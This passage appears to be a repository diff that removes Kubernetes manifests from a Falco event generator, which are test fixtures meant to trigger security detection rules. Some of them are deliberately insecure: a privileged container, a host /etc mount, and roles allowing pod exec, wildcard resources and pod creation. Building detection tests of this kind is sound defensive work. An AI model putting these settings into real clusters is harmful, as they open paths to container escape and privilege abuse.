message: Creating-service-of-type-NodePort
|
||||
spec:
|
||||
type: NodePort
|
||||
ports:
|
||||
- port: 80
|
||||
selector:
|
||||
app: busybox
|
@ -1,26 +0,0 @@
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: privileged-deployment
|
||||
labels:
|
||||
app.kubernetes.io/name: privileged-deployment
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: Create-Privileged-Pod
|
||||
message: Creating-deployment-with-privileged-true-pod
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app.kubernetes.io/name: privileged-busybox
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app.kubernetes.io/name: privileged-busybox
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
spec:
|
||||
containers:
|
||||
- securityContext:
|
||||
privileged: true
|
||||
name: busybox
|
||||
image: busybox
|
||||
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
|
@ -1,16 +0,0 @@
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: Role
|
||||
metadata:
|
||||
name: pod-exec-role
|
||||
labels:
|
||||
app.kubernetes.io/name: pod-exec-role
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: ClusterRole-With-Pod-Exec-Created
|
||||
message: Creating-role-that-can-exec-to-pods
|
||||
rules:
|
||||
- apiGroups:
|
||||
- ""
|
||||
resources:
|
||||
- "pods/exec"
|
||||
verbs:
|
||||
- get
|
@ -1,16 +0,0 @@
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: Role
|
||||
metadata:
|
||||
name: wildcard-resources-role
|
||||
labels:
|
||||
app.kubernetes.io/name: wildcard-resources-role
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: ClusterRole-With-Write-Privileges-Created
|
||||
message: Creating-role-with-wildcard-resources
|
||||
rules:
|
||||
- apiGroups:
|
||||
- ""
|
||||
resources:
|
||||
- "*"
|
||||
verbs:
|
||||
- get
|
@ -1,16 +0,0 @@
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: Role
|
||||
metadata:
|
||||
name: write-privileges-role
|
||||
labels:
|
||||
app.kubernetes.io/name: write-privileges-role
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: ClusterRole-With-Write-Privileges-Created
|
||||
message: Creating-role-with-write-privileges
|
||||
rules:
|
||||
- apiGroups:
|
||||
- ""
|
||||
resources:
|
||||
- "pods"
|
||||
verbs:
|
||||
- create
|
@ -1,31 +0,0 @@
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: sensitive-mount-deployment
|
||||
labels:
|
||||
app.kubernetes.io/name: sensitive-mount-deployment
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: Create-Sensitive-Mount-Pod
|
||||
message: Creating-deployment-with-pod-mounting-sensitive-path-from-host
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app.kubernetes.io/name: sensitive-mount-busybox
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app.kubernetes.io/name: sensitive-mount-busybox
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
spec:
|
||||
containers:
|
||||
- name: busybox
|
||||
image: busybox
|
||||
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
|
||||
volumeMounts:
|
||||
- mountPath: /host/etc
|
||||
name: etc
|
||||
volumes:
|
||||
- name: etc
|
||||
hostPath:
|
||||
path: /etc
|
@ -1,14 +0,0 @@
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
name: vanilla-configmap
|
||||
labels:
|
||||
app.kubernetes.io/name: vanilla-configmap
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: K8s-ConfigMap-Created
|
||||
message: Creating-configmap
|
||||
data:
|
||||
ui.properties: |
|
||||
color.good=purple
|
||||
color.bad=yellow
|
||||
allow.textmode=true
|
@ -1,24 +0,0 @@
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: vanilla-deployment
|
||||
labels:
|
||||
app.kubernetes.io/name: vanilla-deployment
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: K8s-Deployment-Created
|
||||
message: Creating-deployment
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app.kubernetes.io/name: vanilla-busybox
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app.kubernetes.io/name: vanilla-busybox
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
spec:
|
||||
containers:
|
||||
- name: busybox
|
||||
image: busybox
|
||||
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
|
@ -1,43 +0,0 @@
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: Role
|
||||
metadata:
|
||||
name: vanilla-role
|
||||
labels:
|
||||
app.kubernetes.io/name: vanilla-role
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: K8s-Role.Clusterrole-Created
|
||||
message: Creating-role
|
||||
rules:
|
||||
- apiGroups:
|
||||
- ""
|
||||
resources:
|
||||
- "pods"
|
||||
verbs:
|
||||
- list
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: vanilla-role-binding
|
||||
labels:
|
||||
app.kubernetes.io/name: vanilla-role-binding
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: K8s-Role.Clusterrolebinding-Created
|
||||
message: Creating-rolebinding
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: vanilla-role
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: vanilla-service-account
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: vanilla-serviceaccount
|
||||
labels:
|
||||
app.kubernetes.io/name: vanilla-serviceaccount
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: K8s-Serviceaccount-Created
|
||||
message: Creating-serviceaccount
|
@ -1,15 +0,0 @@
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: vanilla-service
|
||||
labels:
|
||||
app.kubernetes.io/name: vanilla-service
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: K8s-Service-Created
|
||||
message: Creating-service
|
||||
spec:
|
||||
type: ClusterIP
|
||||
ports:
|
||||
- port: 80
|
||||
selector:
|
||||
app: busybox
|
Loading…
Reference in New Issue
Block a user